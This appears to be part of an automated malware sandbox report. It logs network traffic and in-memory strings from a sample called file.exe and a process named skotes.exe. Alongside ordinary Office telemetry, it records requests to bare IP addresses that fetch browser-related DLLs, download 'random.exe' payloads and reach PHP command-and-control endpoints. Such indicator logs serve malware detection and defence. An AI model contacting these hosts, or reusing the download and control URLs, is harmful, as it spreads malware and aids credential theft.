Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /

Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr

String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: home.fvtekk5pn.top

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4831Host: login.live.com

Source: file.exe, 00000000.00000002.2699780508.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699780508.0000000000709000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2700782592.0000000000B67000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2699780508.000000000064E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2699780508.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2699780508.00000000006C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2699780508.00000000006C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2699780508.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2699780508.00000000006C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2699780508.00000000006C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllw
Source: file.exe, 00000000.00000002.2699780508.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2699780508.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll5
Source: file.exe, 00000000.00000002.2699780508.00000000006C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2699780508.00000000006C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2740203120.00000000232AC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2700782592.0000000000B67000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2740203120.00000000232C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699780508.000000000064E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699780508.0000000000693000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699780508.00000000006C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2700782592.0000000000B67000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpEBGIEB.exeata;
Source: file.exe, 00000000.00000002.2699780508.00000000006C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpGdO
Source: file.exe, 00000000.00000002.2740203120.00000000232C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpURE=x86PROCESSOR_
Source: file.exe, 00000000.00000002.2740203120.00000000232AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpy
Source: file.exe, 00000000.00000002.2699780508.000000000064E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpzB
Source: file.exe, 00000000.00000002.2700782592.0000000000B67000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ngineer
Source: skotes.exe, 0000001F.00000002.3423216309.000000000098F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000001F.00000002.3423216309.000000000098F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe
Source: skotes.exe, 0000001F.00000002.3423216309.000000000098F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe506238476
Source: skotes.exe, 0000001F.00000002.3423216309.000000000098F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe50623847d
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
